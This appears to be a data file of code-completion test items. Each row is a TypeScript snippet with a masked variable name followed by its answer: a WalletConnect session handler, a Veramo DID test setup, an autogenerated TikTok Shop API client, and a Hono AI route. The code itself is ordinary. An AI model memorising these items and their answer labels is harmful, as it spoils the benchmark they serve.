                    await this.client!.disconnect({
                      topic: session.topic,
                      reason: { code: 0, message: ""Ping was unsuccessful"" }
                    });
                  } catch (e) {
                    console.log(""Non existing session with topic:"", session.topic)
                  }
                  reject(""Non existing session"");
                })
              ).subscribe(() => {
              resolve(session);
            })
          );
        });
      this.session = await Promise.any(sessionCheckPromises).catch(() => null);
      return this.session;
    }

    this.session = null;
    return this.session;
  }


  async disconnect() {
    if (!this.client) {
      throw new Error(""WC is not initialized"");
    }
    try {
      if (this.session) {
        await this.client.disconnect({
          topic: this.session.topic,
          reason: getSdkError(""USER_DISCONNECTED"")
        });
      }
    } finally {
      this.reset();
    }
  }

  private reset() {
    this.session = null;
    this.signers = [];
  }

  get initialized(): boolean {
    return Boolean(this.client && !this.isInitializing);
  }
}
",metadata
943,"import { JwkDIDProvider } from '@sphereon/ssi-sdk-ext.did-provider-jwk'
import { getDidJwkResolver } from '@sphereon/ssi-sdk-ext.did-resolver-jwk'
import { SphereonKeyManager } from '@sphereon/ssi-sdk-ext.key-manager'
import { SphereonKeyManagementSystem } from '@sphereon/ssi-sdk-ext.kms-local'
import { createAgent, IDIDManager, IKeyManager, TAgent } from '@veramo/core'
import { Entities, KeyStore, migrations, PrivateKeyStore } from '@veramo/data-store'
import { DIDManager, MemoryDIDStore } from '@veramo/did-manager'
import { DIDResolverPlugin } from '@veramo/did-resolver'
import { SecretBox } from '@veramo/kms-local'
import { OrPromise } from '@veramo/utils'
import { Resolver } from 'did-resolver'
import { DataSource } from 'typeorm'

import { describe } from 'vitest'
import { IdentifierResolution, IIdentifierResolution } from '../src'
import identifierResolution from './shared/identifierResolution'

const KMS_SECRET_KEY = '<KEY>'
let databaseFile = ':memory:'
let dbConnection: OrPromise<DataSource>
let agent: TAgent<IKeyManager & IDIDManager & IIdentifierResolution>

const DID_METHOD = 'did:jwk'

const jwkDIDProvider = new JwkDIDProvider({
  defaultKms: 'mem',
})

const setup = async (): Promise<boolean> => {
  const db: OrPromise<DataSource> = new DataSource({
    type: 'sqlite',
    database: databaseFile,
    synchronize: false,
    logging: ['info', 'warn'],
    entities: [...Entities],
    migrations: [...migrations],
    migrationsRun: true,
  }).initialize()
  const  [MASK]  = new SecretBox(KMS_SECRET_KEY)

  const localAgent = createAgent<IKeyManager & IDIDManager & IIdentifierResolution>({
    plugins: [
      new SphereonKeyManager({
        store: new KeyStore(db),
        kms: {
          local: new SphereonKeyManagementSystem(new PrivateKeyStore(db,  [MASK] )),
        },
      }),
      new DIDResolverPlugin({
        resolver: new Resolver({ ...getDidJwkResolver() }),
      }),
      new DIDManager({
        providers: {
          [DID_METHOD]: jwkDIDProvider,
        },
        defaultProvider: DID_METHOD,
        store: new MemoryDIDStore(),
      }),
      new IdentifierResolution(),
    ],
  })
  agent = localAgent
  dbConnection = db
  return true
}

const tearDown = async (): Promise<boolean> => {
  await (await dbConnection).destroy()
  return true
}

const getAgent = () => agent

const testContext = { getAgent, setup, tearDown }

describe('Local integration tests', () => {
  identifierResolution(testContext)
})
",secretBox
944,"/**
 * tiktok shop openapi
 * sdk for apis
 *
 * The version of the OpenAPI document: 1.0.0
 * 
 *
 * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
 * https://openapi-generator.tech
 * Do not edit the class manually.
 */


import localVarRequest from 'request';
import http from 'http';

/* tslint:disable:no-unused-locals */
import { AffiliateCreator202405AddShowcaseProductsRequestBody } from '../model/affiliateCreator/V202405/AddShowcaseProductsRequestBody';
import { AffiliateCreator202405AddShowcaseProductsResponse } from '../model/affiliateCreator/V202405/AddShowcaseProductsResponse';
import { AffiliateCreator202405CreatorSearchOpenCollaborationProductRequestBody } from '../model/affiliateCreator/V202405/CreatorSearchOpenCollaborationProductRequestBody';
import { AffiliateCreator202405CreatorSearchOpenCollaborationProductResponse } from '../model/affiliateCreator/V202405/CreatorSearchOpenCollaborationProductResponse';
import { AffiliateCreator202405GetCreatorProfileResponse } from '../model/affiliateCreator/V202405/GetCreatorProfileResponse';
import { AffiliateCreator202405GetShowcaseProductsResponse } from '../model/affiliateCreator/V202405/GetShowcaseProductsResponse';
import { AffiliateCreator202405SearchCreatorAffiliateOrdersResponse } from '../model/affiliateCreator/V202405/SearchCreatorAffiliateOrdersResponse';
import { AffiliateCreator202405SearchCreatorTargetCollaborationsRequestBody } from '../model/affiliateCreator/V202405/SearchCreatorTargetCollaborationsRequestBody';
import { AffiliateCreator202405SearchCreatorTargetCollaborationsResponse } from '../model/affiliateCreator/V202405/SearchCreatorTargetCollaborationsResponse';

import { ObjectSerializer, Authentication, VoidAuth, Interceptor } from '../model/models';

import { HttpError, RequestFile } from './apis';

let defaultBasePath = 'https://open-api.tiktokglobalshop.com';

// ===============================================
// This file is autogenerated - Please do not edit
// ===============================================

export enum AffiliateCreatorV202405ApiApiKeys {
}

export class AffiliateCreatorV202405Api {
    protected _basePath = defaultBasePath;
    protected _defaultHeaders : any = {};
    protected _useQuerystring : boolean = false;

    static readonly apiName = 'AffiliateCreatorV202405Api' as const;

    protected authentications = {
        'default': <Authentication>new VoidAuth(),
    }

    protected interceptors: Interceptor[] = [];

    constructor(basePath?: string);
    constructor( [MASK] : string, password?: string, basePath?: string) {
        if (password) {
            if (basePath) {
                this.basePath = basePath;
            }
        } else {
            if ( [MASK] ) {
                this.basePath =  [MASK] 
            }
        }
    }

    set useQuerystring(value: boolean) {
        this._useQuerystring = value;
    }

    set basePath(basePath: string) {
        this._basePath = basePath;
    }

    set defaultHeaders(defaultHeaders: any) {
        this._defaultHeaders = defaultHeaders;
    }

    get defaultHeaders() {
        return this._defaultHeaders;
    }

    get basePath() {
        return this._basePath;
    }

    public setDefaultAuthentication(auth: Authentication) {
        this.authentications.default = auth;
    }

    public setApiKey(key: AffiliateCreatorV202405ApiApiKeys, value: string) {
        (this.authentications as any)[AffiliateCreatorV202405ApiApiKeys[key]].apiKey = value;
    }

    public addInterceptor(interceptor: Interceptor) {
        this.interceptors.push(interceptor);
    }

    /**
     * This API is used to search the information of products with open collaboration by category, commission rate, and keywords. It will return all products on the TikTok Shop Affiliate Product Marketplace that are in an open collaboration. Creators can only search for open collaboration within the regions they are registered in the affiliate.
     * @summary CreatorSearchOpenCollaborationProduct
     * @param pageSize The value of \&quot;page_size\&quot; must be greater than 0 and less than or equal to 20.
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     * @param pageToken Pagination offset determines where you begin to search for. It\&#39;s empty when raise your first request.
     * @param sortField The returned results are sorted by the specified field.   Possible values: - commission_rate - product_sales_price - commission - units_sold  Specify the sort order using the &#x60;sort_order&#x60; parameter.  
     * @param sortOrder The sort order for the objects in the response. Default: ASC Possible values: - ASC: Ascending order - DESC: Descending order
     * @param CreatorSearchOpenCollaborationProductRequestBody 
     */
    public async OpenCollaborationsProductsSearchPost (pageSize: number, xTtsAccessToken: string, contentType: string, pageToken?: string, sortField?: string, sortOrder?: string, CreatorSearchOpenCollaborationProductRequestBody?: AffiliateCreator202405CreatorSearchOpenCollaborationProductRequestBody, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405CreatorSearchOpenCollaborationProductResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/open_collaborations/products/search';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'pageSize' is not null or undefined
        if (pageSize === null || pageSize === undefined) {
            throw new Error('Required parameter pageSize was null or undefined when calling OpenCollaborationsProductsSearchPost.');
        }

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling OpenCollaborationsProductsSearchPost.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling OpenCollaborationsProductsSearchPost.');
        }

        if (pageToken !== undefined) {
            localVarQueryParameters['page_token'] = ObjectSerializer.serialize(pageToken, ""string"");
        }

        if (pageSize !== undefined) {
            localVarQueryParameters['page_size'] = ObjectSerializer.serialize(pageSize, ""number"");
        }

        if (sortField !== undefined) {
            localVarQueryParameters['sort_field'] = ObjectSerializer.serialize(sortField, ""string"");
        }

        if (sortOrder !== undefined) {
            localVarQueryParameters['sort_order'] = ObjectSerializer.serialize(sortOrder, ""string"");
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'POST',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
            body: ObjectSerializer.serialize(CreatorSearchOpenCollaborationProductRequestBody, ""AffiliateCreator202405CreatorSearchOpenCollaborationProductRequestBody"")
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405CreatorSearchOpenCollaborationProductResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405CreatorSearchOpenCollaborationProductResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
    /**
     * Search Creator Affiliate Orders This API allows the partner to retrieve a list of affiliate orders generated by a creator, returning the order ID and the product ID. Using this, the partner can track their affiliate-conversions on behalf of a creator, using the order ID. For now, this API returns all historical affiliate orders by a creator. We do not provide any filtering mechanisms (based on timestamp) at this time. We will provide this functionality in a future iteration. Thus this API is technically a \""Get Affiliate Orders List\"" at this stage, but it will be improved in the future to be a search based API (with robust filtering).
     * @summary SearchCreatorAffiliateOrders
     * @param pageSize The value of \&quot;page_size\&quot; must be greater than 0 and less than or equal to 50.
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     * @param version The interface version you want to access
     * @param pageToken Pagination offset determines where you begin to search for. It\&#39;s empty when raise your first request.
     */
    public async OrdersSearchPost (pageSize: number, xTtsAccessToken: string, contentType: string, version?: number, pageToken?: string, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405SearchCreatorAffiliateOrdersResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/orders/search';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'pageSize' is not null or undefined
        if (pageSize === null || pageSize === undefined) {
            throw new Error('Required parameter pageSize was null or undefined when calling OrdersSearchPost.');
        }

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling OrdersSearchPost.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling OrdersSearchPost.');
        }

        if (version !== undefined) {
            localVarQueryParameters['version'] = ObjectSerializer.serialize(version, ""number"");
        }

        if (pageToken !== undefined) {
            localVarQueryParameters['page_token'] = ObjectSerializer.serialize(pageToken, ""string"");
        }

        if (pageSize !== undefined) {
            localVarQueryParameters['page_size'] = ObjectSerializer.serialize(pageSize, ""number"");
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'POST',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405SearchCreatorAffiliateOrdersResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405SearchCreatorAffiliateOrdersResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
    /**
     * This API gets the creator profile information.
     * @summary GetCreatorProfile
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     */
    public async ProfilesGet (xTtsAccessToken: string, contentType: string, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405GetCreatorProfileResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/profiles';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling ProfilesGet.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling ProfilesGet.');
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'GET',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405GetCreatorProfileResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405GetCreatorProfileResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
    /**
     * This API adds the products to the creator\'s showcase. The platform will return the add status of the products, and error code and error message if the deletion fails.
     * @summary AddShowcaseProducts
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     * @param AddShowcaseProductsRequestBody 
     */
    public async ShowcasesProductsAddPost (xTtsAccessToken: string, contentType: string, AddShowcaseProductsRequestBody?: AffiliateCreator202405AddShowcaseProductsRequestBody, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405AddShowcaseProductsResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/showcases/products/add';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling ShowcasesProductsAddPost.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling ShowcasesProductsAddPost.');
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'POST',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
            body: ObjectSerializer.serialize(AddShowcaseProductsRequestBody, ""AffiliateCreator202405AddShowcaseProductsRequestBody"")
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405AddShowcaseProductsResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405AddShowcaseProductsResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
    /**
     * This API lists the products in the creator\'s showcase, paginated by specified page size and iterated through pages by page token for up to 2000 products in the showcase. This API is generally used when a creator would like to view the products in the showcase.  The platform will return the product details in the showcase, as well as the products in the livebag if the creator is live streaming.
     * @summary GetShowcaseProducts
     * @param pageSize The number of results to be returned per page. Valid range: [1-20].
     * @param origin Set to &#x60;LIVE&#x60; to indicate the request originates from a Live room. Set to &#x60;SHOWCASE&#x60; to indicate that the request originates from the Showcase.
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     * @param pageToken An opaque token used to retrieve the next page of a paginated result set. Retrieve this value from the result of the next_page_token from a previous response. It is not needed for the first page.
     */
    public async ShowcasesProductsGet (pageSize: number, origin: string, xTtsAccessToken: string, contentType: string, pageToken?: string, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405GetShowcaseProductsResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/showcases/products';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'pageSize' is not null or undefined
        if (pageSize === null || pageSize === undefined) {
            throw new Error('Required parameter pageSize was null or undefined when calling ShowcasesProductsGet.');
        }

        // verify required parameter 'origin' is not null or undefined
        if (origin === null || origin === undefined) {
            throw new Error('Required parameter origin was null or undefined when calling ShowcasesProductsGet.');
        }

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling ShowcasesProductsGet.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling ShowcasesProductsGet.');
        }

        if (pageSize !== undefined) {
            localVarQueryParameters['page_size'] = ObjectSerializer.serialize(pageSize, ""number"");
        }

        if (pageToken !== undefined) {
            localVarQueryParameters['page_token'] = ObjectSerializer.serialize(pageToken, ""string"");
        }

        if (origin !== undefined) {
            localVarQueryParameters['origin'] = ObjectSerializer.serialize(origin, ""string"");
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'GET',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405GetShowcaseProductsResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405GetShowcaseProductsResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
    /**
     * This API is used to search for creator\'s target collaborations and the products within these target collaborations.
     * @summary SearchCreatorTargetCollaborations
     * @param pageSize The number of results to be returned per page. Valid range: [0-100].
     * @param xTtsAccessToken 
     * @param contentType Allowed type: application/json
     * @param pageToken An opaque token used to retrieve the next page of a paginated result set. Retrieve this value from the result of the next_page_token from a previous response. It is not needed for the first page.
     * @param SearchCreatorTargetCollaborationsRequestBody 
     */
    public async TargetCollaborationsSearchPost (pageSize: number, xTtsAccessToken: string, contentType: string, pageToken?: string, SearchCreatorTargetCollaborationsRequestBody?: AffiliateCreator202405SearchCreatorTargetCollaborationsRequestBody, options: {headers: {[name: string]: string}} = {headers: {}}) : Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405SearchCreatorTargetCollaborationsResponse;  }> {
        const localVarPath = this.basePath + '/affiliate_creator/202405/target_collaborations/search';
        let localVarQueryParameters: any = {};
        let localVarHeaderParams: any = (<any>Object).assign({}, this._defaultHeaders);
        const produces = ['application/json'];
        // give precedence to 'application/json'
        if (produces.indexOf('application/json') >= 0) {
            localVarHeaderParams.Accept = 'application/json';
        } else {
            localVarHeaderParams.Accept = produces.join(',');
        }
        let localVarFormParams: any = {};

        // verify required parameter 'pageSize' is not null or undefined
        if (pageSize === null || pageSize === undefined) {
            throw new Error('Required parameter pageSize was null or undefined when calling TargetCollaborationsSearchPost.');
        }

        // verify required parameter 'xTtsAccessToken' is not null or undefined
        if (xTtsAccessToken === null || xTtsAccessToken === undefined) {
            throw new Error('Required parameter xTtsAccessToken was null or undefined when calling TargetCollaborationsSearchPost.');
        }

        // verify required parameter 'contentType' is not null or undefined
        if (contentType === null || contentType === undefined) {
            throw new Error('Required parameter contentType was null or undefined when calling TargetCollaborationsSearchPost.');
        }

        if (pageToken !== undefined) {
            localVarQueryParameters['page_token'] = ObjectSerializer.serialize(pageToken, ""string"");
        }

        if (pageSize !== undefined) {
            localVarQueryParameters['page_size'] = ObjectSerializer.serialize(pageSize, ""number"");
        }

        localVarHeaderParams['x-tts-access-token'] = ObjectSerializer.serialize(xTtsAccessToken, ""string"");
        localVarHeaderParams['Content-Type'] = ObjectSerializer.serialize(contentType, ""string"");
        (<any>Object).assign(localVarHeaderParams, options.headers);

        let localVarUseFormData = false;

        let localVarRequestOptions: localVarRequest.Options = {
            method: 'POST',
            qs: localVarQueryParameters,
            headers: localVarHeaderParams,
            uri: localVarPath,
            useQuerystring: this._useQuerystring,
            json: true,
            body: ObjectSerializer.serialize(SearchCreatorTargetCollaborationsRequestBody, ""AffiliateCreator202405SearchCreatorTargetCollaborationsRequestBody"")
        };

        let authenticationPromise = Promise.resolve();
        authenticationPromise = authenticationPromise.then(() => this.authentications.default.applyToRequest(localVarRequestOptions));

        let interceptorPromise = authenticationPromise;
        for (const interceptor of this.interceptors) {
            interceptorPromise = interceptorPromise.then(() => interceptor(localVarRequestOptions));
        }

        return interceptorPromise.then(() => {
            if (Object.keys(localVarFormParams).length) {
                if (localVarUseFormData) {
                    (<any>localVarRequestOptions).formData = localVarFormParams;
                } else {
                    localVarRequestOptions.form = localVarFormParams;
                }
            }
            return new Promise<{ response: http.IncomingMessage; body: AffiliateCreator202405SearchCreatorTargetCollaborationsResponse;  }>((resolve, reject) => {
                localVarRequest(localVarRequestOptions, (error, response, body) => {
                    if (error) {
                        reject(error);
                    } else {
                        if (response.statusCode && response.statusCode >= 200 && response.statusCode <= 299) {
                            body = ObjectSerializer.deserialize(body, ""AffiliateCreator202405SearchCreatorTargetCollaborationsResponse"");
                            resolve({ response: response, body: body });
                        } else {
                            reject(new HttpError(response, body, response.statusCode));
                        }
                    }
                });
            });
        });
    }
}

export const AffiliateCreatorV202405ApiOperationNames = {
    OpenCollaborationsProductsSearchPost: 'OpenCollaborationsProductsSearchPost',OrdersSearchPost: 'OrdersSearchPost',ProfilesGet: 'ProfilesGet',ShowcasesProductsAddPost: 'ShowcasesProductsAddPost',ShowcasesProductsGet: 'ShowcasesProductsGet',TargetCollaborationsSearchPost: 'TargetCollaborationsSearchPost',
} as const


export type AffiliateCreatorV202405ApiOperationTypes = {
    OpenCollaborationsProductsSearchPost: AffiliateCreatorV202405Api['OpenCollaborationsProductsSearchPost'];OrdersSearchPost: AffiliateCreatorV202405Api['OrdersSearchPost'];ProfilesGet: AffiliateCreatorV202405Api['ProfilesGet'];ShowcasesProductsAddPost: AffiliateCreatorV202405Api['ShowcasesProductsAddPost'];ShowcasesProductsGet: AffiliateCreatorV202405Api['ShowcasesProductsGet'];TargetCollaborationsSearchPost: AffiliateCreatorV202405Api['TargetCollaborationsSearchPost'];
};

",basePathOrUsername
945,"import { Hono } from 'hono';
import { OpenAI } from 'openai';
import { getSummaryPrompt } from '../prompts/prompts'
import { articleService } from ""../services/article"";

export type Env = {
  DB: D1Database;
  BUCKET: R2Bucket;
  CACHE: KVNamespace;
  AI: Ai;
  ENV_TYPE: 'dev' | 'prod' | 'stage';
  OPENAI_URL: string;
  DEEPSEEK_URL: string;
  SILICONFLOW_URL: string;
  AI_PROVIDER: string;
  DEEPSEEK_TOKEN: string;
  SILICONFLOW_TOKEN: string;
  DEEPSEEK_MODEL: string;
  SILICONFLOW_MODEL: string;
  JWT_SECRET: string;
  QUEUE: Queue;
  TASK: { add: (a: number, b: number) => number };
};

export const ai = new Hono<{ Bindings: Env }>()

ai.all(""/"", async (c) => {
  return c.json({ status: 0, msg: 'ok', data: ""ai"" })
})

ai.post(""/openai_summarize"", async (c) => {
  const body = await c.req.json();
  const text = body.text
  const length = body.length || 100

  const openai = new OpenAI({
    apiKey: c.env.DEEPSEEK_TOKEN,
    baseURL: c.env.OPENAI_URL
  });

  const systemPrompt = getSummaryPrompt(length);
  const messages: OpenAI.ChatCompletionMessageParam[] = [
    { role: ""system"", content: systemPrompt },
    { role: ""user"", content: text }
  ];

  const completion = await openai.chat.completions.create({
    model: ""deepseek-chat"",
    messages: messages,
  });

  console.log(completion.choices[0].message.content);

  return c.json({ status: 0, msg: 'ok', data: completion.choices[0].message.content })
})

ai.post(""/openai_translate"", async (c) => {
  const body = await c.req.json();
  const text = body.text
  const fromLang = body.from
  const  [MASK]  = body.to

  const articleServiceInstance = new articleService(c.env);
  const llmServiceInstance = articleServiceInstance.getLlmServiceInstance();
